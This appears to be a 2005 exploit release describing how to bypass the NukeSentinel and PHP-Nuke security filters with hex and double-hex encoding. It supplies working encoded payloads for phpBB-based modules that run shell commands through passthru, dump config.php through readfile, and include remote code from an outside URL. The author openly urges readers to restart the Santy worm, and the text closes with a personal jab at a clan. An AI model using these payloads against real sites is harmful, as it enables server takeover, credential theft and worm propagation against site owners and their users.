I couldn't send it to Full-Disclosure or Bugtraq. So I release it here. Have fun!

Title:   NukeSentinel and PHP-Nuke security filters bypass
Author:  FistFucker
Contact: FistFuXXer@gmx.de
Date:    May 08, 2005


 1. NukeSentinel security filters bypass:
===========================================

 The "Santy worm protection" in NukeSentinel can be bypassed by using hex
 encoded characters in GET requests. It's also possible to bypass other
 filters, like  the "SQL injection filter" by the same way. I've not
 tested higher versions than 2.1.4 (2.2.1 is out), but feel free to try it
 out with newer ones!

 Will be filtered:
 'modules.php?highlight=FistFucker'

 Will be bypassed:
 'modules.php?hi%67hlight=FistFucker'


 Will be filtered:
 '/**/UNION/**/SELECT/**/'

 Will be bypassed:
 '/%2A%2A/UNION/%2A%2A/SELECT/%2A%2A/'


 Successfully tested against:

  - NukeSentinel 2.1.3
  - NukeSentinel 2.1.4


 2. PHP-Nuke security filters bypass:
=======================================

 PHP-Nuke filters some dangerous characters, like '(' followed by ')' in
 GET requests. This can easily be bypassed with double hex encoded
 characters. It should also work on many (or all?) PHP-Nuke based content
 management systems, too.

 Will be filtered:
 'modules.php?FistFucker=()'

 Will be bypassed:
 'modules.php?FistFucker=%2528%2529'


 Successfully tested against:

  - PHP-Nuke <= 7.7
  - PHPNUKE-CLAN <= 2.1.0


 3. Let's start a new Santy invasion:
=======================================

 Now, with this knowledge, we can inject the famous "Santy worm exploit"
 into a PHP-Nuke and other content management systems with a module based
 on phpBB <= 2.0.11! Note: it appends ')\b#i' to our string, so we must
 use include URLs like: 'http://waraxe.us/?' and not 'http://waraxe.us/'.

 Append it after: 'modules.php?&name=Forums&file=viewtopic&t=1'

 Local command execution:
 '&FistFucker=ls&%68%69%67%68%6C%69%67%68%74=%2527%252Epassthru%2528%24%48
 %54%54%50%5F%47%45%54%5F%56%41%52%53%5B%46%69%73%74%46%75%63%6B%65%72%5D
 %2529%252E%2527'

 Local file output (config.php):
 '&FistFucker=config.php&%68%69%67%68%6C%69%67%68%74=%2527%252Ereadfile
 %2528%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%46%69%73%74%46%75%63
 %6B%65%72%5D%2529%252E%2527'

 Remote code execution:
 '&FistFucker=http://www.waraxe.us/%3F&%68%69%67%68%6C%69%67%68%74=%2527
 %252Einclude_once%2528%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%46%69
 %73%74%46%75%63%6B%65%72%5D%2529%252E%2527'


 Successfully tested against:

  - phpBB 2.10 port
  - phpBB 2.10 port (with NukeSentinel 2.1.3)
  - phpBB 2.10 port (with NukeSentinel 2.1.4)
  - phpBB component v1.2.4 RC1
  - PNphpBB2 1.2d


 4. Private stuff:
====================

 OfB-Clan are damn liers, don't trust them and don't support such people!
 If you want some proofs of my innocence, contact me! Divine is sweet! :P
